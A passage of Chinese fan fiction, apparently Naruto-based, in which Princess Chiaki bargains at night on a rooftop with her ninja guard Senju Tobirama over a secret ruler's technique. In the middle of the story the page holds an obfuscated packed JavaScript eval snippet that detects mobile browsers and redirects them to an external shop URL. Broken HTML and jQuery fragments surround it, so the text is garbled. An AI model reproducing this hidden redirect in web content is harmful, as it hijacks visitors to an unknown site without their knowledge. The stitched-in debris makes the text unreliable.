千秋觉得她的战术已经凑效。

    自她断言千手一族会战败,扉间就总盯着她,再用古籍引诱,那隐于暗处的眼神便更炽热了。

    她自觉拿捏住了扉间的两个弱点,一是他极为在意千手一族,二是他还喜欢研究学问。

    看透了这些,千秋便觉一身轻松,连在居城的生活都愉快起来,院中满是欢声笑语。

    至于那千手扉间……先晾晾他,等到今晚再把他叫出来。只要她不让他现身,他就只能在暗处苦等,想来也是有几分可怜。

    只是到时候,他应该还会问千手战败的事,她要怎么回答呢?

    她说的话并非子虚乌有。据她了解,诸侯大名间少有干戈相向,多是发动代理人战争。而代理人就是雇来的忍者们。他们总是打得有来有回,今天是你胜,那明天就是我胜。

    其中原因……千秋有所猜测,却不打算向一个忍者和盘托出。

    举例来讲,当你是个普通人,仅手持弓箭还丢了绝大部分箭矢,而你左边有头凶恶的熊,右边有只蓄势待发的虎。你要怎么办?

    最好的情况当然是熊与虎打得两败俱伤,人就安全了。

    人要做的,就是先挑动它们打起来,见熊弱了就帮熊,见虎弱了就帮虎,如此循环往复,就能逐渐消磨野兽的恶性。

    如果人不止一个,还可以分别装作熊和虎的友方,将它们分别牢牢抓在手中。

    当然,这些都只是猜测,千秋并不想说出去。

    她听说个别忍者实力之强,能靠一己之力毁掉一座城池。要是这类忍者脱离缰绳,很容易因一念之差让生灵涂炭。

    思及此处,千秋打定主意,若扉间追问此事,便拿他更感兴趣的古书转移话题。

    想好计划,待到夜晚,两人又来到房顶上。千秋都快习惯房顶的景色,也不再忧心巡夜的武士会逮捕他们。

    扉间依旧单膝半跪,头颅微垂,身姿恭顺。这般近的距离,他反倒不像白天时那样总盯着她看了。

    千秋问:“几日不见,你有什么想说的吗?”

    那一头蓬松的银发颤了颤,面庞则藏在黑暗中。千秋忽然想到,自从扉间接下护卫一职,她竟然还没真切看过他的脸。

    在会客室时,他们之间隔着屏风;夜晚时,扉间的脸藏在阴影中;到白天,两人又隔得很远,至少千秋是看不太清他的样貌。

    这不禁让人心生好奇,他长成什么样了?会不会变化很大?想她稍微长大后,便要遵循礼法剃去大半眉毛,每日清晨都得画一对圆圆的假眉毛呢。

    “公主大人,”扉间终于应声,语气严肃,“我有一事不明,想要请教。您究竟是如何察觉我的举动?无论是我的藏身处、我的动作,甚至我的视线落在何处,您似乎都了如指掌。”

    竟然是在问这个?

    千秋微怔,一时不知道该说什么。这事有什么好在意的?她察觉了就察觉了呀。他作为一个强大的忍者,还不允许她有一技之长了?

    “诸侯之所以能居于上位,总有其道理吧?”千秋语焉不详地应付。

    “所以,确实存在独属于诸侯的血脉秘术,”扉间接得极快,语速急促几分,“大人能否告知其运转机制?”

    扉间每一句话,都不在千秋预料之内。心续一乱,她不自觉绞起一缕赤红的发尾,勒得指尖微疼才平复了混乱。

    世上确实存在一种秘术,曾属于远古的统治者,但那几乎已经失传了,就像那丢掉的箭矢。

    知道这件事的人寥寥无几,连贵族里也不多。千秋是在当年逃家后,才机缘巧合触及到,实则她也不清楚得太具体。

    而她拜托兄长收集古籍,就是为了探寻相关秘辛,怎么可能白白交给他人?

    但如果扉间真的求知若渴,他就要拿出足够的诚意。

    千秋定下心神,逐渐理清思绪。她也不暴露自己对秘术的懵懂,只装作确实明白的模样:“我总不能平白告诉你吧?如果想知道,就得拿我所求之物来换。”

    一介忍者,受了大名的雇佣来限制她的行动,还想从她这里空手套取秘辛,这也想得太美了。她听说忍者各族,都有秘传的天赋或忍术不会教予外人,何况是她?

    清冷的月光洒下,映出扉间耳尖处泛起的一抹微红,转瞬便又没入阴影。想来,他也察觉到他的要求有多唐突。

    “是我失言了。”他倒也干脆,认错后便不再言语,像是陷入沉思。

    “别再想其他的交换条件,”千秋堵死其他的路,“你知道的,我想要的只有一个。”

    此话一出,扉间只沉默一瞬,便硬邦邦地驳了回来:“公主大人,我曾说过不会背弃职责,这是底线,能作交换的只有其他事,比如……”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739306|209072||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    真是冥顽不灵的笨蛋忍者!

    不想再听扉间分辩,千秋在心里飞速数落他一遍,退开两步,冷冷说:“那你别想知道秘术的事了。”

    “公主大人。”

    扉间还想说什么,但千秋只觉得心烦意乱。她绷着脸,反手给他扣上一顶帽子:“你口口声声喊着大人,但言语间却一点也不客气,这究竟是臣下的进言,还是在对我发号施令?”

    这问题要上升的话,便又可以变成不敬之罪。

    “我绝无此意。”扉间连忙辩解,然而回想他曾经的语气,好像确实有些专横。毕竟父亲和大哥各有各的离谱之处,他自幼就帮忙代管族务,现如今已经习惯这种说话方式,一时间竟忘了收敛。

    “谁知道你有没有僭越之念?”千秋扫了他一眼,“抬起头让我看看。”

    扉间默然,这沉默中罕见地透出一丝慌乱,但终究还是顺从地仰起脸。夜风中,他额角渗出了细密的汗珠,看来确实有些紧张。

    千秋的目光却落去他脸上的油彩。他的双颊和下巴处,竟然用赤红的颜料分别画了条凌厉的纹路,总共三条,也不知道是用来干什么的。

    “公主大人,”扉间垂眸,再度放低姿态,“我确实没有僭越之念,方才不过是在与您沟通。”

    虽然胸中的火气消减几分,但千秋继续为难他:“沟通?你只是想白白拿走你垂涎之物,却不愿意付出任何。”

    “并非如此。我确有一物,或许正是大人所需。”

    不等千秋抬杠,扉间快速补充:“我在忍术开发一途有些许天赋,对各类禁术和秘传也均有涉猎。如大人有意,我有自信能助您提升个人实力。”

    听闻此言,千秋的眼神亮起来,稍微来了兴趣。

    她四处查探秘传,确实是为了得到足以立身的能力。只是,她对这千手家的忍者全无信任可言。除非他能帮她变强到足以脚踢千手、拳打大名,否则,她绝不愿交出半点底牌。

    或许是察觉到她的疏离,扉间继续游说:“您我每日在屋顶夜谈,实在不便。为证明我并非大放厥词。三日之内,我会开发出用于隐秘交谈的术,以此作为诚意。还望大人多加考虑。”

    千秋沉默不语,半晌,只指了指下方,示意要回房休息。

    这忍者爱怎么折腾就怎么折腾,反正,她是不会作考虑的。